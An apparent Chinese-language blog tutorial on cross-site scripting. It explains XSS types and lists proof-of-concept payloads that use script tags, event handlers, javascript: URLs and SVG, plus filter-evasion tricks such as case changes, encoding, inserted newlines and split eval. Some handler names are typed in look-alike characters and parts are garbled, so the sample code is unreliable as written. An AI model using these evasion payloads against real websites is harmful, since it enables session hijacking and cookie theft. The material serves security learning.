xss
xss 作为owasp top 10 之一,
xss 被称为跨站脚本攻击
xss 危害:
1.盗取各种用户帐号
2.窃取用户cookie资料,冒充用户身份进入网站
3.劫持用户会话,执行任意操作
4.刷流量,执行弹窗广告
5.传播蠕虫病毒
xss漏洞发生在
服务器
xss 漏洞的验证
我们可以用一段简单的代码,验证和检测漏洞的存在
这样的代码叫做POC 验证xss 漏洞的POC
:常用:
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>
xss 漏洞的完整利用工具
:EXP 漏洞的完整利用工具
xss : shellcode : 利用漏洞时,所执行的代码
payload : 攻击载荷
sqlmap 攻击代码的模板
msf shellcode 类似 ,功能是建立与目标的连接
xss的分类
xss 漏洞大概可以分为三个类型:反射型xss ,存储型xss ,DOM型xss
1.反射型xss
反射型xss 是非持久性,参数型的跨站脚本,反射型xss 的js 代码在web
应用参数(变量中),如果搜索的反射性xss
在搜索框中提交<script>alert(/xss/)</script>
2.存储型xss 是持久性跨站脚本。持久性提现在xss代码不是在某个参数(变量)中,而是写入数据库文件登可以永久
保存在数据的介质中
存储型xss 通常发生在留言板上
3.DOM型xss
该类型比较特殊。owasp 关于 DOM类型 xss 的定义是基于DOM 的xss 是一种xss攻击
,其中攻击的payload 由于是修改受害者浏览器页面上的DOM树而执行的。其中特殊的地方就是payload
在浏览器本地修改 Dom树而执行,并不会传到服务器上,也就是使得DOM xss比较难以检测。如下
[#message=<script> alert(/xss/)</script>]
我们以毛点的方式提交Poc 。poc并不会发送给服务器,但是已经出触发了xss 查看当前额面的源代码
XSS 的构造
1. 利用[<>]构造 HTML标签 script标签
<script>alert(/xss/)</script>
<h1 style = 'color:red'>
2.伪协议
可以使用javascript:伪协议的方式构造xss
[javascript:alert(xss);]
提交参数:<a href = "javascript:alert('xss')">
3.产生自己事件
事件驱动是一种比较经典的编程思想,在网页中会发生很多事件
比如说(鼠标移动,键盘输入等) js 可以对这些事件进行响应,所以我们可以通过事件触发
js函数 触发xss
事件的种类:
windows 事件的种类: 对windows 对象触发的事件
Form 事件 HTML 表单内的动作触发事件
keyboard 事件 键盘按键
mouse 事件 有鼠标或者类似用户动作出发的事件
Media 事件 由多媒体触发的事件
如,[<img src = './smile.jpg' οnmοuseοver='alert('xss')']
引入一个图片,然后鼠标悬停在图片上的时候,会触发xss代码
[<a href = '#' οnclick='alert('xss')']
如单行文本框的键盘点击事件,[<input type='text' οnkeydοwn='alert("xss")'>]
4.利用css 跨站(old)
但是现在浏览器已经支持了 (在ie6版本还可以用)
1.行内样式
<div style="backgroud-image:url(javascript:alert('xss'))</div>"
2.业内样式
<style>Body{backroud-image:url(javascript:alert('xss'))}</style>
3.外部样式
<link>太麻烦了 还要创建文件
5.其他标签以及手法
<svg οnlοad="alert("xxx")">
<input οnfοcus=alert(/xss/) autofocus>
XSS的变形
:我们可以构造的Xss 代码进行各种变型
1.大小写变形
js 对大小写敏感 所以不要不要再js代码中变换
可以变换 HTML标签
但是可以变换 javascript这个词的大小写
<a href = "javaScript:alert('xss')">
2.引号的使用
HTML标签对引号的使用不敏感,但是某些过滤函数是锱铢必较
<img src='#' οnerrοr='alert('xss')'>
<img src="#" οnerrοr="alert('xss')">
<img src=# οnerrοr=alert('xss')>
3.[/]代替空格
<img/src=#/οnerrοr=alert('xss')>
4.回车
我们可以在一些位置添加tab 或者是回车符 来绕过关键字检测
<a href = "j
avascript:alert('xss')">
5.对标签属性值进行解码
可以对标签属性值进行转码,来绕过过滤,编码如下
字母 ASCII 码 十进制编码 十六进制编码
a 97 a =
........
<a href = "j[v[Script:alert('xss')">
另外我们可以 将以下编码字符插入到任意位置
Tab 	
换行
回车
还可以将以下字符插入到头部位置
SOH 
STX 
<a href = "j[v[	Script:alert('xss')">
6.拆分跨站
<script>z='alert'</script>
<script>z=z+'('xss')'</script>
<script>eval(z)</script> eval()函数会把z这个字符串当作 js代码执行 所以可以拆分绕过
7.css中的变形
8.双写绕过 (太简单了,害怕循环过滤所以...)
9.css 全角字符(ie6 没环境做不了)
XSS POC
最新推荐文章于 2023-09-10 22:00:15 发布